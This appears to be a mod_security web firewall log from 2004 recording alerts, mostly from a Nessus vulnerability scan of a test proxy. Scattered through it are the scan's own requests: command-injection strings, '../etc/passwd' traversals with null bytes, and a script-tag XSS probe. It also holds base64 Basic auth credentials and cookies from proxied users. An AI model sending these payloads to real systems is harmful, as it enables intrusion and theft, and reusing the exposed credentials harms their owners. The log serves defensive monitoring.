Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "\.bat\?" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1513CVE-1999-0947
Nessus 10016
web-application-activityWEB-CGI input.bat access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:36 2004] "GET /input.bat?|type%20c:\winnt\win.ini HTTP/1.1" 404 289
Handler: (null)
Error: mod_security: Warning. Pattern match "/input\.bat" at THE_REQUEST.
----------------------------------------
GET /input.bat?|type%20c:\winnt\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "\.bat\?" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=98
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1515CVE-1999-0947
Nessus 10016
web-application-activityWEB-CGI input2.bat access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:37 2004] "GET /input2.bat?|type%20c:\winnt\win.ini HTTP/1.1" 404 290
Handler: (null)
Error: mod_security: Warning. Pattern match "/input2\.bat" at THE_REQUEST.
----------------------------------------
GET /input2.bat?|type%20c:\winnt\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "\.bat\?" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=96
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1517CVE-1999-0947
Nessus 10016
web-application-activityWEB-CGI envout.bat access
Request: 217.160.165.173 - - [Fri Mar 12 22:37:38 2004] "GET /ssi/envout.bat?|type%20c:\winnt\win.ini HTTP/1.1" 404 294
Handler: (null)
Error: mod_security: Warning. Pattern match "/envout\.bat" at THE_REQUEST.
----------------------------------------
GET /ssi/envout.bat?|type%20c:\winnt\win.ini HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "\.bat\?" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=94
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1518web-application-activityWEB-MISC nstelemetry.adp access
Request: 217.160.165.173 - - [Fri Mar 12 22:31:41 2004] "GET /nstelemetry.adp HTTP/1.0" 200 566
Handler: (null)
Error: mod_security: pausing [/nstelemetry.adp] for 50000 ms
----------------------------------------
GET /nstelemetry.adp HTTP/1.0
Authorization: Basic bnNhZG1pbjp4
mod_security-message: Access denied with code 200. Pattern match "Basic" at HEADER.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1520apacheweb-application-activityWEB-MISC server-info access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:08 2004] "GET /server-info HTTP/1.1" 404 291
Handler: (null)
Error: mod_security: Warning. Pattern match "/server-info" at THE_REQUEST.
----------------------------------------
GET /server-info HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/server-info" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1521apacheweb-application-activityWEB-MISC server-status access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:24 2004] "GET /server-status HTTP/1.1" 403 297
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/server-status
----------------------------------------
GET /server-status HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1525CAN-2000-0191web-application-activityWEB-MISC Axis Storpoint CD access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:57 2004] "GET /config/html/cnf_gi.htm HTTP/1.1" 404 302
Handler: (null)
Error: mod_security: Warning. Pattern match "/config/html/cnf_gi\.htm" at THE_REQUEST.
----------------------------------------
GET /config/html/cnf_gi.htm HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/config/html/cnf_gi\.htm" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1526CAN-2001-1044
Nessus 10601
web-application-activityWEB-MISC basilix sendmail.inc access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:01 2004] "GET /inc/sendmail.inc HTTP/1.1" 404 296
Handler: (null)
Error: mod_security: Warning. Pattern match "/inc/sendmail\.inc" at THE_REQUEST.
----------------------------------------
GET /inc/sendmail.inc HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/inc/sendmail\.inc" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1527CAN-2001-1044
Nessus 10601
web-application-activityWEB-MISC basilix mysql.class access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:01 2004] "GET /class/mysql.class HTTP/1.1" 404 297
Handler: (null)
Error: mod_security: Warning. Pattern match "/class/mysql\.class" at THE_REQUEST.
----------------------------------------
GET /class/mysql.class HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/class/mysql\.class" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1528CAN-2000-0629
Nessus 10507
web-application-activityWEB-MISC BBoard access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:49 2004] "GET /servlet/sunexamples.BBoardServlet HTTP/1.1" 404 313
Handler: (null)
Error: mod_security: Warning. Pattern match "/servlet/sunexamples\.BBoardServlet" at THE_REQUEST.
----------------------------------------
GET /servlet/sunexamples.BBoardServlet HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/servlet/sunexamples\.BBoardServlet" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1531BID142
CAN-1999-1462
Nessus 10025
web-application-attackWEB-CGI bb-hist.sh attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:23 2004] "GET /cgi-bin/bb-hist.sh?HISTFILE=../../../../../etc/passwd HTTP/1.1" 403 302
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/bb-hist.sh
----------------------------------------
GET /cgi-bin/bb-hist.sh?HISTFILE=../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1533CVE-2000-0638
Nessus 10460
web-application-activityWEB-CGI bb-hostscv.sh access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:26 2004] "GET /bb-hostsvc.sh?HOSTSVC=../../../../../etc/passwd HTTP/1.1" 403 297
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/bb-hostsvc.sh
----------------------------------------
GET /bb-hostsvc.sh?HOSTSVC=../../../../../etc/passwd HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1534BID3976
CAN-2001-1199
Nessus 10836
web-application-attackWEB-CGI agora.cgi attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:46:43 2004] "GET /store/agora.cgi?cart_id=<SCRIPT>alert(document.domain)</SCRIPT>&xm=on&product=HTML HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: pausing [/store/agora.cgi] for 50000 ms
----------------------------------------
GET /store/agora.cgi?cart_id=<SCRIPT>alert(document.domain)</SCRIPT>&xm=on&product=HTML HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Access denied with code 200. Pattern match "<[[:space:]]*script" at THE_REQUEST.
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1535BID1104
CAN-2000-0287
web-application-activityWEB-CGI bizdbsearch access
Request: 217.160.165.173 - - [Fri Mar 12 22:41:58 2004] "GET /cgi-bin/bizdb1-search.cgi HTTP/1.1" 404 305
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/bizdb1-search\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/bizdb1-search.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/bizdb1-search\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1537CVE-2000-0432web-application-activityWEB-CGI calendar_admin.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:01 2004] "GET /cgi-bin/calendar_admin.pl?config=|cat%20/etc/passwd| HTTP/1.1" 403 309
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/calendar_admin.pl
----------------------------------------
GET /cgi-bin/calendar_admin.pl?config=|cat%20/etc/passwd| HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1539BID936
CAN-2000-0079
web-application-activityWEB-CGI /cgi-bin/ls access
Request: 66.230.236.14 - - [Thu Mar 11 07:12:23 2004] "GET http://www.shitforyou.com/cgi-bin/lspro/lspro.cgi?click={TRADE:ID} HTTP/1.1" 302 237
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/cgi-bin/ls" at THE_REQUEST.
----------------------------------------
GET http://www.shitforyou.com/cgi-bin/lspro/lspro.cgi?click={TRADE:ID} HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: en
Host: www.shitforyou.com
Pragma: no-cache
Referer: http://pissing.around-you.com/
User-Agent: Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)
mod_security-message: Warning. Pattern match "/cgi-bin/ls" at THE_REQUEST.

HTTP/1.1 302 Found
Location: http://www.shitforyou.com/topsites/index.html
Content-Type: text/html; charset=iso-8859-1
X-Cache: MISS from www.testproxy.net
Transfer-Encoding: chunked
1540web-application-activityWEB-COLDFUSION ?Mode=debug attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:38:01 2004] "GET /?Mode=debug HTTP/1.1" 200 4320
Handler: (null)
Error: mod_security: Warning. Pattern match "Mode=debug" at THE_REQUEST.
----------------------------------------
GET /?Mode=debug HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "Mode=debug" at THE_REQUEST.

HTTP/1.1 200 OK
Warning: Subject to Monitoring
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html
1542CVE-2000-0726web-application-activityWEB-CGI cgimail access
Request: 217.160.165.173 - - [Fri Mar 12 22:38:47 2004] "GET /cgi-bin/cgimail.exe HTTP/1.1" 403 303
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/cgimail.exe
----------------------------------------
GET /cgi-bin/cgimail.exe HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1543CVE-2001-0987
CVE-2000-0431
CVE-1999-1530
Nessus 10041
web-application-activityWEB-CGI cgiwrap access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:52 2004] "GET /cgi-bin/cgiwrap HTTP/1.1" 404 295
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/cgiwrap" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/cgiwrap HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/cgiwrap" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1544CAN-2000-0945web-application-activityWEB-MISC Cisco Catalyst command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:30:27 2004] "GET /exec/show/config/cr HTTP/1.1" 403 303
Handler: (null)
Error: client denied by server configuration: /usr/local/apache/htdocs/exec
----------------------------------------
GET /exec/show/config/cr HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1547CAN-2002-0495
Nessus 10924
BID4368
web-application-attackWEB-CGI csSearch.cgi arbitrary command execution attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:42:48 2004] "GET /cgi-bin/csSearch.cgi?command=savesetup&setup=print%20`id` HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/csSearch.cgi
----------------------------------------
GET /cgi-bin/csSearch.cgi?command=savesetup&setup=print%20`id` HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1551web-application-activityWEB-MISC /CVS/Entries access
Request: 217.160.165.173 - - [Fri Mar 12 22:30:22 2004] "GET /CVS/Entries HTTP/1.1" 404 291
Handler: (null)
Error: mod_security: Warning. Pattern match "/CVS/Entries" at THE_REQUEST.
----------------------------------------
GET /CVS/Entries HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/CVS/Entries" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1553CVE-2000-0252web-application-activityWEB-CGI /cart/cart.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:43:04 2004] "GET /cart/cart.cgi HTTP/1.1" 404 293
Handler: (null)
Error: mod_security: Warning. Pattern match "/cart/cart\.cgi" at THE_REQUEST.
----------------------------------------
GET /cart/cart.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: 192.168.1.103
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/cart\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1554Nessus 10403
CVE-2000-0381
web-application-activityWEB-CGI dbman db.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:30:35 2004] "GET /scripts/dbman/db.cgi?db=no-db HTTP/1.1" 404 300
Handler: (null)
Error: mod_security: Warning. Pattern match "/dbman/db\.cgi" at THE_REQUEST.
----------------------------------------
GET /scripts/dbman/db.cgi?db=no-db HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Close
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/dbman/db\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1555CAN-2001-0821web-application-activityWEB-CGI DCShop access
Request: 217.160.165.173 - - [Fri Mar 12 22:36:50 2004] "GET /cgi-bin/dcshop.pl HTTP/1.1" 404 297
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/dcshop" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/dcshop.pl HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/dcshop" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1560BID318
CVE-1999-0678
web-application-activityWEB-MISC /doc/ access
Request: 195.161.118.212 - - [Thu Mar 11 11:41:05 2004] "GET http://top.list.ru/counter?id=651568;t=70;js=13;r=http%3A//1ps.ru/pr/doc/cost.php%20;j=true;s=1024*768;d=32;rand=0.939666307230189 HTTP/1.1" 200 887
Handler: proxy-server
Error: mod_security: Warning. Pattern match "/doc/" at THE_REQUEST.
----------------------------------------
GET http://top.list.ru/counter?id=651568;t=70;js=13;r=http%3A//1ps.ru/pr/doc/cost.php%20;j=true;s=1024*768;d=32;rand=0.939666307230189 HTTP/1.1
Connection: close
Cookie: VID=0xh0if1IiiW1
Cookie2: $Version="1"
Host: top.list.ru
Referer: http://www.handwatch.ru
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; w20010828)
mod_security-message: Warning. Pattern match "/doc/" at THE_REQUEST.

HTTP/1.1 200 OK
Content-Type: image/gif
Accept-Ranges: bytes
Content-Length: 887
Expires: Thu, 11 Dec 2003 21:00:00 GMT
Pragma: no-cache
Cache-control: no-cache
X-Cache: MISS from www.testproxy.net
Connection: close
1561web-application-activityWEB-MISC ?open access
Request: 218.22.141.172 - - [Sat Mar 13 11:32:52 2004] "GET http://estore.sjf.com/sjf.nsf/homepage?openform&amp;amp;amp;GTSE=bfox&amp;amp;amp;GTKW=%keyword% HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: Invalid URL encoding #2 detected.
----------------------------------------
GET http://estore.sjf.com/sjf.nsf/homepage?openform&amp;amp;amp;GTSE=bfox&amp;amp;amp;GTKW=%keyword% HTTP/1.0
Accept: text/html, image/jpeg, image/gif, image/x-xbitmap, */*
Accept-Language: fr
Cookie: PPC20=abee7fa35819f0c216d8fc95c0162a1c; path=/PPC_USER_ID=73122a3500ef8a71139332c013bda500; expires=Fri, 01-Jan-10 08:00:00 GMT
Host: estore.sjf.com
Pragma: no-cache
Referer: http://www.paid2find.com//search.php?format=HTML&affiliateID=181&str=industrial%2Bequipment
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01 Windows NT 5.1)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1564CAN-1999-1533web-application-activityWEB-MISC login.htm access
Request: 68.82.168.149 - - [Thu Mar 11 21:26:36 2004] "GET http://www.jj1.com/login.html HTTP/1.0" 200 566
Handler: proxy-server
Error: mod_security: pausing [http://www.jj1.com/login.html] for 50000 ms
----------------------------------------
GET http://www.jj1.com/login.html HTTP/1.0
Accept: */*
Accept-Language: en-us,en;q=0.5
Authorization: Basic amR1YmkzMTpzYW11cmFp
Host: www.jj1.com
Pragma: no-cache
Referer: http://www.jj1.com/login.html
User-Agent: Mozilla/4.0 ( compatible; MSIE 5.5; Windows XP; DigiExt )
mod_security-message: Access denied with code 200. Pattern match "Basic" at HEADER.
mod_security-action: 200

HTTP/1.0 200 OK
Connection: close
Content-Type: text/html; charset=iso-8859-1
1566CAN-2001-1014web-application-activityWEB-CGI eshop.pl access
Request: 217.160.165.173 - - [Fri Mar 12 22:39:49 2004] "GET /cgi-local/eshop.pl/seite=;cat%20eshop.pl| HTTP/1.1" 404 319
Handler: (null)
Error: mod_security: Warning. Pattern match "/eshop\.pl" at THE_REQUEST.
----------------------------------------
GET /cgi-local/eshop.pl/seite=;cat%20eshop.pl| HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/eshop\.pl" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1570web-application-activityWEB-CGI loadpage.cgi access
Request: 217.160.165.173 - - [Fri Mar 12 22:42:42 2004] "GET /cgi-bin/loadpage.cgi HTTP/1.1" 404 300
Handler: cgi-script
Error: mod_security: Warning. Pattern match "/loadpage\.cgi" at THE_REQUEST.
----------------------------------------
GET /cgi-bin/loadpage.cgi HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Warning. Pattern match "/loadpage\.cgi" at THE_REQUEST.

HTTP/1.1 404 Not Found
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1571CAN-2001-0436web-application-attackWEB-CGI dcforum.cgi directory traversal attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:13 2004] "GET /dcforum/dcforum.cgi?az=list&forum=../../../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: (null)
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /dcforum/dcforum.cgi?az=list&forum=../../../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1572CAN-2001-0210
BID2361
Nessus 10612
attempted-reconWEB-CGI commerce.cgi arbitrary file access attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:39:02 2004] "GET /cgi-bin/commerce.cgi?page=../../../../../etc/passwd%00index.html HTTP/1.1" 403 304
Handler: cgi-script
Error: client denied by server configuration: /usr/local/apache/cgi-bin/commerce.cgi
----------------------------------------
GET /cgi-bin/commerce.cgi?page=../../../../../etc/passwd%00index.html HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)

HTTP/1.1 403 Forbidden
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1573CVE-2000-1171
BID1963
Nessus 10552
web-application-attackWEB-CGI cgiforum.pl attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:41:39 2004] "GET /cgi-bin/cgiforum.pl?thesection=../../../../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/cgiforum.pl?thesection=../../../../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
1574CAN-2001-0780web-application-attackWEB-CGI directorypro.cgi attempt
Request: 217.160.165.173 - - [Fri Mar 12 22:37:07 2004] "GET /cgi-bin/directorypro.cgi?want=showcat&show=../../../../../etc/passwd%00 HTTP/1.1" 200 578
Handler: cgi-script
Error: mod_security: Invalid character detected [0]
----------------------------------------
GET /cgi-bin/directorypro.cgi?want=showcat&show=../../../../../etc/passwd%00 HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*
Accept-Charset: iso-8859-1,*,utf-8
Accept-Language: en
Connection: Keep-Alive
Host: www.testproxy.net
Pragma: no-cache
User-Agent: Mozilla/4.75 [en] (X11, U; Nessus)
mod_security-message: Invalid character detected
mod_security-action: 200

HTTP/1.1 200 OK
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=iso-8859-1
